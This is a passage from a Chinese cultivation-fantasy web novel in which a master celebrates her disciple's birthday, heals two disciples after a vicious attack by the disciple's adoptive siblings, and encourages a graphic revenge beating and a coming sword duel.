他走到云见月特意为他设计的巨大的落地全身镜前,镜面清晰地映出他挺拔修长的身影和身上那件流光溢彩的百花服,连衣料上最细微的绣纹都清晰可见。 他微微侧身,细细端详自己这一身装扮,嘴角勾起一丝满意的弧度,活脱脱一只开屏的孔雀,臭美得浑然天成。 “啧啧,某些人呐,再照也就那样了。”一个带着点酸溜溜的声音响起。 花影施施然走到虞青焰身边,他换了身新衣服。 身上穿着一件全新长衫,藕荷色的轻薄纱料打底,外层缀满了柔和的、如同真正羽毛般的藕色羽纱,走动间羽纱轻颤,飘逸灵动,仙气飘飘又不失华贵。 这件衣服是云织坊最新推出的款式——藕羽流光裙。 一经推出,立刻引爆了修真界爱美人士的狂热,让原本门庭冷落的云织坊瞬间客似云来,生意火爆到订单排到了一个月后。 花影在虞青焰身边站定,也对着镜子,一会儿理理纱袖,一会儿挺挺腰板,那一脸“老娘天下最美”的表情,和虞青焰的傲娇臭美形成了鲜明对比。 于是,巨大的全身镜前,就出现了这样一幅诡异的画面:两个容貌气质皆属顶尖的美男子,肩并肩对着镜子,一个冷艳傲娇地审视自己,一个则风情万种地挤眉弄眼,仿佛在进行一场无声的“谁是修真界第一美男”的巅峰对决。 众人:“……” 讲真,花师兄今天的发带和衣服不搭,输了输了。 合欢宗弟子拿出留影石,对准了焕然一新、在阳光下闪耀着玻璃光泽的玄天宗殿宇,将这幅震撼人心的“琉璃仙宫”完整地记录了下来,顺手就传到了修真界最大的通识交流平台上。 标题:【惊爆!玄天宗重现仙宫盛景,神秘“玻璃”打造通天神殿!】 不出半日,这段影像引爆了整个修真界。 【这是什么宝物?竟能让窗户变得如此透亮?】 【太美了!太通透了!玄天宗哪里来的这样的好东西?】 【求问!这叫“玻璃”的东西在哪里能买到?我也要给我的洞府装一扇!】 【玄天宗?合欢宗?难道是这两宗联手推出的新玩意儿?】 【不管了,合欢宗装修队,快!快去下单!】 一时间,合欢宗负责接单的弟子玉简几乎被打爆,装修订单如雪片般飞来,忙得脚不沾地。 ...... 第二天清晨,玄天宗的新餐厅里热闹非凡。 一张云见月特意设计的、带着旋转玻璃圆盘的红木大圆桌格外醒目。 孩子们觉得新奇,小手放在玻璃上推着桌子转,玩得不亦乐乎。 等云见月把饭菜端上来,小家伙们才乖乖坐好,规规矩矩地等着开饭。 萧星尘、鹿闻声、江迷雾和苏渺渺面前,都放着一碗香喷喷、晶莹剔透的白米粥,配上灵蔬小菜。 唯独郁仙面前,云见月端上了一碗热气腾腾的面,面上卧着一个金黄的荷包蛋,还撒了点翠绿的香葱,香气扑鼻。 “师尊,为什么三师姐和我们吃的不一样呀?”苏渺渺好奇地伸着脖子问。 其他孩子也纷纷点头,眼睛直勾勾地盯着郁仙碗里的面。 郁仙也有些不明所以,仰头看向云见月。 云见月坐在郁仙身边,温柔地揉了揉她的发顶,声音带着笑意:“仙儿,你忘记今天是什么日子了?” 郁仙微微一怔,努力回想,还是摇了摇头。 看着她茫然的样子,云见月眼中怜爱更甚,柔声道:“傻孩子,今天是六月一日,是你的生辰啊。” 她在心里默默补充:前世,六月一日是儿童节,祝我的小朋友们都开心快乐。 “过生辰,早上要吃长寿面。”云见月笑眯眯地看着她,“吃了长寿面,我的仙儿就能健健康康,长命千岁万岁。” 其他人也都恍然大悟,纷纷看向郁仙,眼神里充满了祝福。 郁仙看着眼前这碗香喷喷的长寿面,热气模糊了她的视线。 她又抬头看向云见月,对方眼中的温柔和笑意,像一股暖流,瞬间涌遍她的全身。 巨大的感动包裹着她,让她再也忍不住,“哇”地一声扑进云见月怀里,放声大哭起来。 “呜呜呜……师尊……呜哇……”哭声撕心裂肺,充满了委屈、心酸,还有失而复得般的巨大喜悦。 云见月被这突如其来的爆发吓了一跳,连忙搂住她,轻拍着她的背,声音有些慌乱:“怎么了?好端端的怎么哭了?是不喜欢吃面,还是哪里不舒服?” 郁仙把头深深埋在云见月温暖的怀抱里,哭得上气不接下气,断断续续地哽咽道:“呜,不是,师尊谢谢你……呜……从小到大从来……从来都没有人给我过生辰,师尊是唯一一个记得我生辰,给我做长寿面的人……” 如果不是师尊提醒,她甚至根本记不起这个日子。 在养父母家,她每天有做不完的活,挨不完的打。 能活着吃饱已是奢望,根本没人会在意她的生辰。 回到亲生父母家,她看着他们为爹爹、娘亲、哥哥,甚至为那个夺走她一切的郁姝,举办一场又一场盛大的生辰宴,接受所有人的祝福和礼物。 而她,只能缩在角落里,看着满堂的欢声笑语和堆积如山的礼物,连一句最简单的‘生辰快乐’都成了遥不可及的奢望。 直到……直到她遇见师尊。 那些从未得到过的重视、关爱、温暖……如今,都在师尊这里,得到了加倍的补偿。 郁仙哭得很大声,也很伤心,仿佛要把过去几年的委屈都哭出来。 云见月心疼地搂着她,柔声道:“乖,不哭了,都过去了。以后你的每一个生辰,师尊都会给你过,都会给你做长寿面。” 郁仙抬起满是泪痕的小脸,长长的睫毛上挂着晶莹的泪珠,“真的吗?” “当然是真的。”云见月用指腹轻轻擦去她的眼泪,“师尊不仅给你做了长寿面,师尊还给你准备了生日蛋糕,等到了晚上,咱们就能许愿吃蛋糕了。” “生日蛋糕?”郁仙抽噎着,对这个陌生的词充满了好奇,“是什么?” “生日蛋糕是软软的,甜甜的,像云朵一样,上面会用最漂亮的奶油画出花朵和祝福,还会插上蜡烛,是这个世界独一无二的,只有为师会做的美味,为师也只给你们做,因为你们五个是为师在这个世界上最重要的宝贝。” 独一无二,只有师尊会做,专门为她做的。 巨大的幸福感和被珍视的感觉再次汹涌而来,郁仙鼻子一酸,刚止住的眼泪又大颗大颗地滚落下来,但这一次,嘴角却忍不住向上弯起。 原来被人记挂生辰是这种感觉,暖暖的,像师尊的怀抱。 等她终于哭够了,情绪平复下来,才开始吃那碗承载着满满爱意的长寿面。 面条劲道爽滑,汤底鲜美浓郁,荷包蛋煎得恰到好处。 这是她这辈子吃过的最好吃的一碗面,郁仙埋着头,一口气将整碗面,连汤带面,吃得干干净净,一滴不剩。 云见月拍着手笑道:“我们仙儿真棒,把长寿面吃得干干净净,福气满满,祝仙儿健健康康,岁岁平安,永远开心快乐!” 清脆的掌声和温柔的祝福在餐厅里回荡。 孩子们也跟着拍手,齐声喊道:“祝三师姐/妹生辰快乐,健康平安!” 郁仙小脸通红,羞涩地笑了,心底的暖意几乎要溢出来。 早饭过后,孩子们欢快地出去玩了。 云见月开始在厨房忙碌,为晚上的生日蛋糕做准备。 虞青焰终于开始着手布置护山大阵。 萧星尘是土灵根,对阵法之道天然亲近,像条小尾巴似的,紧紧跟在虞青焰身后,时不时问几句。 鹿闻声一头扎进了炼器房,江迷雾则在庭院里认真练剑。 苏渺渺闲着没事,跑到郁仙身边:“三师姐,我们该做些什么呢?” 郁仙想到早上那碗温暖了她整个心扉的长寿面,心底的暖意还在流淌。 师尊给了她如此珍贵的礼物,她也想送给师尊一份礼物。 可是,师尊喜欢什么呢? 她有些苦恼:“小师妹,师尊对我们这么好,你说我们该送她什么好呢?” 苏渺渺乌溜溜的大眼睛转呀转,突然一亮,拍手道:“师姐,不如我们去采花送给师尊吧?山门外有好多好多漂亮的野花,五颜六色的,我们把它们采回来,插在花瓶里,放在师尊房间的窗边,阳光照下来,一定美极了。” 郁仙有些犹豫:“不可以,宗门外太危险了。” “没事的没事的。”苏渺渺摇着她的手臂撒娇,小手指着不远处的山门,“我们不走远,就在山门外面一点点,看得见宗门的地方采,好不好嘛师姐,采完我们就回来。” 郁仙想了想,觉得只是在山门外采花应该没问题,毕竟是家门口,所以便点了点头。 “就在门口,不能跑远。” “耶!师姐最好啦!”苏渺渺欢呼一声,拉着郁仙的手就欢快地跑出了山门。 山门外,阳光正好,微风轻拂,各色不知名的野花恣意绽放。 两个小姑娘开心地穿梭其中,精心挑选着最鲜艳、最漂亮的花朵。 不一会儿,郁仙怀里就抱了一大捧色彩缤纷、沾着露珠的野花。 苏渺渺突然兴奋地指着不远处一丛茂密的灌木旁,“那里有一朵最漂亮的。” 她蹦蹦跳跳地跑过去,蹲下身伸出小手,就在她的指尖即将触碰到花瓣的刹那,一只穿着精致绣花鞋的脚从天而降,狠狠踩在那朵花上,将它碾得稀巴烂。 娇嫩的花瓣与泥土混作一团,鲜红的花汁像血一样洇开,染脏了精致的鞋底。 第39章 郁仙你还不跪下来给你姐姐磕头认错 苏渺渺被这突如其来的变故吓得小手猛地一缩,刚采花时的欢喜瞬间消失。 她皱着小眉头抬起头,视线撞上了一双冰冷、怨毒、充满了不怀好意的眼睛。 郁姝正居高临下地俯视着她,嘴角噙着一抹恶毒而得意的冷笑。 “你干什么呀。”苏渺渺气得小脸通红,“这是我要送给师尊的花花。” 说着,她下意识地伸出小手,去推郁姝那条还踩在花上的腿,想让这个坏蛋离开她的花花。 可下一秒,郁姝竟像受到了大力般,发出一声夸张的惊呼,整个人直直地向后倒去,“哎哟”一声摔坐在了地上。 她用手捂住并不存在的痛处,抬起脸时,已经换上了一副泫然欲泣、楚楚可怜的表情。 “对不起,我不是故意踩你的花的,我只是没有看到,你不要生气。” 这突如其来的颠倒黑白和做作表演,让小小的苏渺渺有些无措。 “我……我没用力推你,是你自己……” “闭嘴!”一声暴戾的怒喝打断了苏渺渺的辩解。 站在郁姝身边那个十五六岁的少年,早已怒火中烧。 他根本不屑于听任何解释,他只看到这个不知天高地厚的小野种,竟敢动手推倒他视若珍宝的妹妹。 “你没用力,我妹妹会摔倒吗?我都亲眼看到了,你还在装,没有爹娘教养的东西。” 郁明轩眼中寒光一闪,他竟毫不顾忌对方只是个四岁孩童,猛地抬腿,灌注了筑基中期灵力的狠厉一脚,狠狠踹在苏渺渺瘦小的胸口上。 “砰——” 苏渺渺来不及发出惨叫,小小的身子像断线的风筝般飞出去十多米,狠狠撞在一棵粗壮的树干上,又被树干弹回来,摔在地上滚了几圈才停下。 连踢带摔的剧痛让她猛地喷出一口鲜血,趴在地上一动不动,只有微弱的呼吸证明她还活着。 “渺渺——”郁仙见状,心脏骤然缩紧,疯了一般扑过去。 她颤抖着手抱起苏渺渺软绵绵的小身子,看着师妹嘴角不断溢出的鲜血和毫无生气的脸,郁仙只觉得天旋地转,急得眼泪瞬间涌了出来,声音抖得不成样子: “渺渺别怕,别怕,师姐这就带你回去找师尊,师尊一定能救你,一定能的。” 她咬紧牙关,用尽全身力气抱起苏渺渺,踉跄着就要往山门里冲。 只要回到宗门,见到师尊,渺渺就有救了。 “郁仙!”郁明轩怒声呵斥,语气里满是难以置信的愤怒,“这个小野种伤了你姐姐,你不关心你姐姐,反倒去关心一个无关紧要的外人?” “你眼里还有没有我这个哥哥?还有没有郁家?” 郁明轩的眼神冰冷而倨傲,带着毫不掩饰的厌恶和居高临下的命令口吻:“郁仙,我命令你站住,放下那个野种。” 郁仙充耳不闻,满心只有“快点回宗门”的念头,她甚至加快了脚步。 见她对自己视若无睹,郁明轩的眼神瞬间变得冰冷。 他一个箭步冲上前,速度快得带起一阵风,猛地抓住郁仙单薄的肩膀,灵力爆发,狠狠向后一甩。 郁仙只觉得一股巨力袭来,整个人不受控制地向后跌飞出去,重重摔在地上。 怀中的苏渺渺,也脱手飞出,在地上滚了好几圈,唇边鲜血蜿蜒,浸湿了身下的泥土,彻底没了声息。 “渺渺——”郁仙顾不得自己身上的疼痛,目眦欲裂地看着不远处无声无息的小师妹,心仿佛被撕裂了一般。 她猛地抬起头,看向郁明轩。 那双曾经总是带着怯懦、讨好和卑微的眼睛,此刻只剩下彻骨的冰冷和燃烧到极致的、仿佛要将一切焚烧殆尽的恨意,直直刺向郁明轩。 郁明轩被这从未见过的眼神看得心头一悸,竟下意识地后退了半步。 这个在他印象里连大声说话都不敢的妹妹,怎么会有这样可怕的眼神? 意识到自己竟然被一个“乡下来的野丫头”吓到,郁明轩更加火大。 “你那是什么眼神?离家一年多,你长本事了是吧?连姝儿都敢欺负,果然是从乡下来的,一点教养都没有。” 他指着还坐在地上“垂泪”的郁姝,厉声质问:“我问你,你为什么打你姐姐?爹的玉简你没收到?还是装聋作哑?限你三日滚回去,你竟敢当耳旁风?” 一旁的郁姝看着郁明轩训斥郁仙,脸上立刻露出得意的笑容,眼底的恶毒几乎要溢出来。 却还假惺惺地劝解:“哥哥算了,妹妹可能不是故意打我的,你别怪她……” “我看她就是故意的!”郁明轩打断她,看向郁仙的眼神满是不耐,“姝儿你就是太善良了,才会总被她欺负。 她在家就处处针对你,如今到了这破宗门,更是无法无天,郁仙给我跪下来给你姐姐磕头认错。” “我没错,凭什么要给她下跪道歉?”郁仙撑着地面站起来,声音不大,却异常坚定。 她的顶撞让郁明轩勃然大怒。 他早已习惯了郁仙的怯懦顺从,如今的反抗在他看来是极大的忤逆。 “放肆!” “我看你在外面野了几天,是真忘了自己姓什么,骨头都硬了!今日我就替爹娘好好教训教训你这不知天高地厚的孽障,让你知道什么叫规矩!” 话落,郁明轩周身灵力剧烈涌动,衣袍无风自动。 他并指如剑,一道寒光闪过,他的本命灵剑瞬间出现在手中,剑尖直指郁仙。 郁仙眼中没有丝毫惧意,只有刻骨的恨意翻涌。 “少拿你药仙谷少主那一套来压我,从你们诬陷我杀人偷药,不分青红皂白抽了我七七四十九鞭,把我像垃圾一样丢出药仙谷自生自灭开始,我就与你们郁家恩断义绝,我这条命是师尊捡回来的,你们有什么资格命令我?有什么资格提教养?” “冥顽不灵!”郁明轩厉喝一声,手中剑光芒暴涨,带着筑基中期的强横威压和刺骨的杀意,剑风呼啸,直刺郁仙。 郁仙炼气十层的灵力瞬间爆发,双手在胸前快速结印,翠绿色的木灵力疯狂涌出,在她身前召唤出数条坚韧的藤蔓,交织成一面藤盾,试图格挡。 “嗤啦——” 然而,两人实力相差悬殊,剑过之处,坚韧的藤蔓如同纸糊般被轻易撕裂、斩断。 狂暴的剑气余波狠狠撞在郁仙身上,将她再次震飞出去,重重摔落在地,喉头一甜,鲜血涌上嘴角。 “认不认错?”郁明轩持剑逼近,眼神狠厉如狼。 “我——没——错!”郁仙咬着牙,每一个字都带着血沫,挣扎着想再次站起来。 郁明轩眼神一厉,周身灵力骤然爆发,显然失去了耐心。 他不再留手,长剑化作一道流光,精准地刺穿了郁仙的丹田。 “噗——” 利刃穿透血肉的声音,清晰得令人头皮发麻。 时间仿佛在这一刻凝固。 郁仙只觉得小腹处传来一阵难以言喻的剧痛,冰冷的剑锋毫无阻碍地刺穿了她凝聚灵力的丹田。 剧痛让她眼前一黑,全身的力气如同潮水般褪去。 郁明轩猛地抽回长剑,看着倒在血泊中气息萎靡的郁仙,握着剑的手微微一抖,一丝莫名的连他自己都未察觉的慌乱和后悔掠过心头。 他是不是……下手太重了? 丹田被刺穿,这几乎是绝了仙途! 他下意识地想要上前查看。 就在这时,一直冷眼旁观的郁姝突然一脸“担忧”地跑过去:“妹妹,你怎么样?你别吓我啊……” 她蹲在郁仙身边,看似要去搀扶,身体却巧妙地挡住了郁明轩的视线。 在郁明轩看不到的角度,郁姝凑近郁仙耳边,用只有两人能听到的气音,怨毒地低语: “小贱种,丹田被废的滋味好受吗?活该,我就是要抢走你的一切,看你这辈子都只能像条死狗一样匍匐在我脚下。” 郁仙的眼底燃起仇恨的火焰,用尽最后一丝力气,伸出手死死掐住郁姝的脖子:“我杀了你——” “姝儿!”郁明轩大惊失色,刚刚升起的一丝悔意瞬间被滔天怒火取代。 他飞起一脚,狠狠踹在郁仙的腰侧! “咔嚓!”骨头断裂的声音清晰可闻。 郁仙像破麻袋一样被踢飞出去,重重砸在地上,再次喷出一大口鲜血,手指在地上抠出几道血痕,却连动一下都做不到。 而郁姝则被郁明轩紧张地抱进怀里,故意剧烈地咳嗽着,脖子上赫然留下了几道青紫的指痕。 哼,这下哥哥更不会放过你了。 “姝儿,姝儿你怎么样?别怕,哥哥在。”郁明轩心疼地检查着郁姝脖子上的伤痕。 再看向地上气息奄奄、满身血污的郁仙时,眼神只剩下极致的厌恶和冰冷。 “心思歹毒,到了这个时候还想杀你姐姐,姝儿如此善良关心你,你竟敢下此毒手,你那个师尊到底是怎么教你的?把你教得如此狼心狗肺、丧心病狂?” 郁仙的意识已经开始模糊,剧痛和失血让她眼前阵阵发黑,但听到“师尊”二字,她涣散的眼神猛地凝聚起最后一丝神采,挣扎着,用尽全身力气嘶喊:“不……许……说我……师尊……” “混账东西,还敢嘴硬。”郁明轩看着郁仙那死不认错的样子,厉声喝道,“给我跪下来,给姝儿磕头认错,否则……” “否则如何?” 一道冰冷彻骨、仿佛蕴含着万载玄冰的声音,毫无预兆地响起。 这声音并不大,却带着一种穿透神魂的恐怖威压。 随着声音而至的,是一道白衣胜雪的身影。 云见月从天而降,衣袂翻飞间,周身灵力如海啸般爆发开来,无形的威压笼罩四野,连风声都为之一滞。 她落在郁仙身边,目光落在郁仙丹田处汩汩涌出的鲜血上,那冰寒的眼底,瞬间翻涌起毁天灭地的风暴。 灵力瞬间将她包裹,将她瘦小的身子抱入怀中。 郁仙感受到熟悉的温暖,支撑起沉重的眼皮,当看清来人,眼泪无声流下。 “师尊......徒儿......给您丢人了......” 第40章 要解心头恨,拔剑斩仇人 云见月看着郁仙丹田处那狰狞的血洞,以及她苍白如纸的小脸,眼中痛色一闪而逝。 她伸出手,温柔地擦去郁仙眼角不断滚落的泪珠,声音轻得像羽毛,“别说傻话,你永远都是为师的骄傲。” 郁仙的眼泪却像断了线的珠子,怎么都止不住,哽咽道:“可我丹田破裂……再也无法修炼了……” “不要担心。”云见月的眼神温柔而坚定,“有为师在,天塌不下来。你的伤,为师会治好。” 说话间,她毫不犹豫地从储物袋中取出能生死人肉白骨的枯荣轮回菇。 “乖,吃了它就没事了。”云见月将枯荣轮回菇递到郁仙唇边。 郁仙对师尊有着绝对的信任,她努力张开嘴,艰难地将那株散发着奇异光泽的菌菇吞了下去。 刹那间,一股难以言喻的生机顺着喉咙滑下,流窜至四肢百骸,如同温暖的甘泉流经干涸龟裂的大地。 断裂的肋骨传来轻微的痒意,不过眨眼间,那钻心的疼痛便彻底消失;丹田处原本撕裂般的剧痛也被一股温润的暖流包裹,不过片刻,她便能清晰地感觉到,那个被捅穿的血窟窿正在快速愈合,灵力重新在体内顺畅流转。 云见月轻轻将她放下。 郁仙不敢置信地摸了摸自己完好无损的小腹,又运转了一下体内灵力,畅通无阻,丹田完好。 “师尊,我不疼了,丹田真的修复好了。”巨大的惊喜让她的小脸瞬间焕发光彩。 可这喜悦仅仅持续了一瞬,郁仙脸上的笑容骤然消失,她猛地转头看向不远处,焦急道:“师尊,您快救救渺渺,她伤得更重。” 云见月的心猛地一沉,顺着她的目光看去。 只见小小的苏渺渺趴在地上,小小的身子软塌塌的,腰间明显塌陷了一块,嘴角的血迹已经凝固,气息微弱得仿佛随时会断绝。 腰椎断裂,内腑重创,分明已是濒死之态。 看着渺渺这惨绝人寰的模样,云见月眼中的寒冰化为滔天怒火,周身灵力几乎要炸开,可动作却冷静到极致。 她立刻从储物袋里拿出最后一株枯荣轮回菇。 也是此时,虞青焰带着萧星尘、鹿闻声和江迷雾闻讯赶来。 看到云见月手中的枯荣轮回菇上,虞青焰眼神一凝,原以为她只有一株,没想到竟然还有第二株。 “云见月你这个败家的死丫头又在干嘛?啊啊啊,住手!别给她吃了!” 多日不曾出声的炎老,痛心疾首的喊,“上次那小鸡炖蘑菇,这小丫头片子连干了三碗,那三碗融了多少枯荣轮回菇的药力你知道吗? 她的血液都快成这菇的培养基了,她那伤就是看着吓人,全是皮外伤。 内腑震伤?那点小伤,你再多喘两口气的功夫,她自己都能愈合了,你还给她吃,暴殄天物!败家!啊啊啊!” 鹿闻声闻言,紧绷的神经终于松懈下来,小声嘀咕:“小师妹没事就好……” 云见月手上的动作丝毫没停,小心地将枯荣轮回菇塞进苏渺渺毫无意识的小嘴里。 小丫头处于昏迷状态,根本无法咀嚼,可这等生死玄菌的药力实在霸道,刚碰到舌尖,便化作一股暖流涌入体内。 腰椎瞬间完好,受损的内腑也恢复如初,灰败的脸色变得红润,微弱的气息也变得平稳有力。 昏迷中的苏渺渺砸吧砸吧小嘴,无意识地把嘴里那株珍贵无比的枯荣轮回菇嚼吧嚼吧咽了下去,小眉头还舒服地舒展开,含糊地嘟囔了一句:“唔……好吃……” 众人:“……” 虞青焰的眼神变得有些微妙,炎老更是发出一连串无声的哀嚎。 许是没吃够,小丫头皱了皱眉头,长长的睫毛颤了颤,慢慢睁开了那双乌溜溜的大眼睛。 看清云见月的瞬间,她咧嘴一笑,可目光扫到郁仙身上的血迹时,突然想起了什么,猛地从地上爬起来,扑进云见月怀里,小嘴一瘪,奶声奶气地告状:“师尊,有人欺负渺渺和师姐。” 她小胖手一指,“师尊,就是他们,那个坏女人踩渺渺的花花,那个坏哥哥踢渺渺,还打师姐,可疼可疼了。” 郁明轩和郁姝兄妹俩早已目瞪口呆,刚才还气息奄奄的两个小丫头,居然眨眼间就生龙活虎? 云见月手里拿的到底是什么神物? 确保两个徒弟都脱离了危险,云见月眼神冷得能冻裂金石,直直看向郁明轩和郁姝。 那目光里的杀意如同实质,让两人不由自主地打了个寒颤,双腿控制不住地发抖。 “我的徒儿,你也敢动?”她的声音平静得可怕。 郁明轩被这股威压压得喘不过气,却仍在嘴硬:“这是我药仙谷的家事,轮不到你一个外人插手!” “家事?”云见月唇角勾起一抹冰冷的弧度,“废我徒儿丹田,踢断她的骨头,差点要了我四岁小徒儿的命,还敢恬不知耻地说是家事?” “跪下!”一声冰冷的呵斥,骤然响起。 郁明轩和郁姝两兄妹只感觉身上仿佛压上了万钧泰山,膝盖骨根本无法抵抗,重重地砸在地上,坚硬的青石板被砸出两个浅坑。 屈辱感瞬间淹没了两人,郁明轩身为药仙谷少主,何时受过这等折辱? 他声音嘶哑地威胁道:“我爹是药仙谷谷主,我妹妹的师尊是第一大宗门青云剑宗的少宗主楚凌风,你今天若敢动我们一根汗毛,我爹和少宗主定将你玄天宗夷为平地,让你死无葬身之地。” 云见月居高临下地看着他们,对他的威胁嗤之以鼻。 “子不教父之过,你们两个不过是仗着家世横行无忌,本尊念在你们年纪尚轻,不与你们计较。要算账,也该找你们的父母和师尊清算。” 郁明轩和郁姝眼底闪过喜色,他们就知道云见月不敢动他们分毫。 然而,云见月却话锋一转,“但是,你们在我玄天宗地界,伤我弟子,辱我师门,欺我徒儿至此,便是将本尊的颜面踩在脚下践踏,此罪,不可恕!” 她凉凉的目光首先落在郁姝身上,一字一句地细数她的罪行:“小小年纪,心思歹毒,惯会装可怜,扮柔弱,博同情,搬弄是非,颠倒黑白,仗着父母师尊的宠爱,肆意欺凌他人,更因一己私欲,构陷妹妹,害她蒙受不白之冤,受尽鞭笞之苦,如今又上门挑衅,挑拨你哥哥重伤我两个徒儿……” 随着云见月每说一句,郁姝的脸色就惨白一分。 “仙儿。”云见月忽然转向郁仙,语气变得郑重而深沉,“今日,为师教你一个道理。” 郁仙立刻挺直腰背,仰着小脸,无比认真地看向师尊。 “客人来了,我玄天宗自当以礼相待,美酒佳肴奉上,但若是恶犬疯狗闯我山门,伤我子弟,那就该用棍子,打断它的脊梁,拔掉它的獠牙,让它知道,什么叫痛,什么叫怕!” “而心中之恨,唯有亲手了结,方得痛快。你自己的仇,自然由你自己去报,他人代劳,终究隔靴搔痒,唯有亲手斩断仇敌,方能念头通达。” 她目光如炬,直视郁仙的双眼,“去,杀了她,用她的血,洗刷你过往的屈辱。” 随着云见月话音落下,施加在郁姝身上的威压骤然消失。 郁姝大惊失色,她永远忘不了在坊市被郁仙用藤蔓捆住、扇得满脸是血的场面,此刻哪里还敢停留? 她连滚带爬地往后退,尖叫道:“我警告你不要过来,你敢动我,爹娘永远不会原谅你,他们会恨你一辈子。” 她还在妄图用那廉价的亲情来束缚郁仙。 可惜,如今的郁仙,早已不在乎那些冰冷的血缘。 郁仙没有回答,灵力在掌心凝聚,数十条粗壮的青藤破土而出,如灵蛇般窜向郁姝,瞬间将她牢牢捆住,高高吊起在空中。 “啊——放开我,哥哥救我!”郁姝惊恐尖叫,拼命挣扎。 “姝儿!”郁明轩目眦欲裂,想要挣扎起身,但云见月的威压如同泰山压顶,将他死死按在地上。 他只能发出野兽般的嘶吼:“郁仙你敢!你这个忘恩负义的小野种,放开姝儿——” 郁仙充耳不闻,眼神冰冷得没有一丝波澜。 她意念一动。 “砰——” 被藤蔓吊起的郁姝,如同一个沉重的沙袋,被狠狠地砸向坚硬冰冷的地面。 骨头碎裂的声音清晰得令人牙酸,郁姝发出凄厉到不似人声的惨叫。 还没等她缓过神,青藤再次将她卷起。 “砰!砰!砰!砰!” 一次!两次!三次!……每一次都高高吊起,再狠狠砸下! 青藤如甩鞭般将郁姝反复砸向地面与岩壁,每一次撞击都伴随着骨头碎裂的脆响。 不过片刻,郁姝全身的骨头便被生生砸断,四肢以诡异的角度扭曲着。 鲜血从她的口鼻、耳朵、甚至皮肤崩裂处不断渗出,染红了泥土。 郁明轩眼睁睁看着自己最疼爱的妹妹被如此虐打,心痛得如同刀绞,双眼赤红,几乎要滴出血来。 他疯狂地咒骂着郁仙,用尽世间最恶毒的语言,却无法阻止分毫,只能徒劳地嘶吼。 终于,郁仙停下了摔打。 被藤蔓吊着的郁姝已经如同一滩烂泥,只有微弱的呻吟证明她还活着。 郁仙缓步走到瘫软的郁姝面前,居高临下地看着她那双充满了恐惧、痛苦和怨毒的眼睛。 一根藤蔓的尖端,闪烁着冰冷的寒光,缓缓抬起,悬停在郁姝破碎染血的丹田位置。 “既然你那么喜欢看别人被毁掉丹田,那你也尝尝这生不如死的滋味吧。” 郁姝惊恐地瞪大眼睛,“不要……求求你……不要……” “噗嗤——” 回应她的,是藤蔓尖端毫不犹豫、狠绝无比的刺入。 “呃啊——”郁姝身体猛地弓起,发出一声撕心裂肺的惨嚎。 但这还没完。 郁仙眼中恨意未消,意念再动。 “噗!噗!噗!噗!……” 数根藤蔓如同惩罚般在郁姝身上留下密密麻麻的血窟窿,鲜血如同喷泉般涌出,瞬间将她染成了一个血人。 金色的阳光刺破云层,正好落在郁仙沾满鲜血却挺得笔直的脊背上,她站在那里,小小的身子透着一股睥睨众生的霸气,眼神也由冰冷变得平静。 常年萦绕在心中的那股郁结之气,随着大仇得报而消弭。 第41章 此剑当得起剑鸣惊风,为师愿叫它一剑定乾坤 郁姝的惨叫声戛然而止,她像个被丢弃的破布娃娃般瘫在血泊中,丹田处一个狰狞的血洞不断涌出鲜血,浑身布满深浅不一的窟窿,鲜血几乎将她染成了一个血人,四肢还在微弱地抽搐,证明她尚未断气。 “姝儿——” 郁明轩看着地上血肉模糊的妹妹,双目赤红如血,他疯狂地挣扎着,眼神满是怨毒。 “郁仙,姝儿若是有个好歹,我绝对不会放过你。” 郁仙只淡淡扫了他一眼,就默默站到了云见月身后。 “你做的很好。”云见月摸着她的头,表扬道:“与其委屈自己,不如为难别人,仙儿你要记住,无论到什么时候,都不要因为外人而内耗自己。” 郁仙重重点头:“徒儿明白。” 郁明轩听了这番言论,气血翻涌的怒骂:“怪不得郁仙如此的心狠手辣,原来是有你这样的心狠手辣的师尊,可真是上梁不正下梁歪,你简直不配为师。” 云见月看向状若疯狂的郁明轩,声音不高,却清晰无比。 “身为兄长,不辨是非,偏听偏信,纵妹行凶,助纣为虐!” “身为修士,恃强凌弱,对四岁稚童痛下杀手,心性歹毒,不配为人!” “像你这种包藏祸心,为虎作伥,眼盲心瞎,狂妄自大,所作之事桩桩件件罄竹难书的败类,若不是看在你年岁尚轻的份上,你觉得自己还有命在本尊面前叫嚣?” “你对本尊徒儿犯下的罪行,纵是死都难解心头之恨。” “本尊实在不是一个宽宏大量之人,奉行的是有仇报仇,有怨报怨。” 云见月目光转向了身旁的郁仙,声音柔和了几分:“仙儿,你想惩罚他吗?” 到底是仙儿的亲哥哥,她还需征询仙儿的意见。 郁仙毫不犹豫的点头。 云见月立刻露出欣慰的笑容,“好孩子,你没有让为师失望,既然你也同意,那为师便全力支持你,不过他筑基中期修为,你不是他的对手。” 她的视线在几个徒弟身上流转。 鹿闻声抱着依旧有些瑟缩的苏渺渺,小脸上满是愤怒;萧星尘紧握拳头,眼中燃烧着怒火。 最终,她的目光定格在了一直冷着一张小脸,愤怒的盯着郁明轩的江迷雾身上。 江迷雾身负血海深仇,平日里只让他以木桩练剑,磨练心性。 如今,是时候让他体验真正的战斗,让那积累的怒火,找到宣泄的出口,也磨砺那初生的剑心了。 “阿雾。” 被点到名字的江迷雾,身子一震,看向云见月的眼神无比坚定。 云见月与他四目相对,道:“你三师姐的仇,已报了大半,但眼前此人,亦是罪魁祸首,他伤你师姐,辱我师门,更欲杀你年幼的师妹。” 她停顿了一下,目光如炬,仿佛要穿透江迷雾的灵魂: “他是剑修,而你同为剑修,你已是筑基初期,根基已成。” “为师问你,你可愿执你手中剑,替你三师姐,斩断这最后的仇怨?替玄天宗,斩除这条狂吠的恶犬?” “此战,非为师命令,是你自己的选择。剑修之路,首重剑心通明,扪心自问,你心中可有怒?可有恨?可有守护同门、捍卫师门之志?” 轰—— 云见月的话语,如同点燃引信的火星,瞬间引爆了江迷雾心中压抑已久的怒火。 他看着郁仙苍白疲惫的脸,看着渺渺埋在鹿闻声怀里颤抖的模样,再看向郁明轩那张扭曲怨毒的脸,一股从未有过的、炽热而纯粹的战意,混合着守护家园的信念,瞬间冲垮了他的沉默。 “弟子,愿战!” 他猛地踏前一步,小小的身体爆发出惊人的气势。 他的声音因激动而发颤,却异常清晰、斩钉截铁。 “为三师姐,为渺渺师妹,为我玄天宗。” “弟子心中,有怒,有恨,更有守护之志。” “请师尊准弟子出剑!” 他的眼神在这一刻亮得惊人,像淬了火的星辰,充满了初生牛犊不怕虎的决绝和一往无前的锐气。 郁明轩见状,先是一愣,随即爆发出刺耳的狂笑:“云见月,你竟让一个筑基初期的小崽子来杀我?简直是自寻死路!” 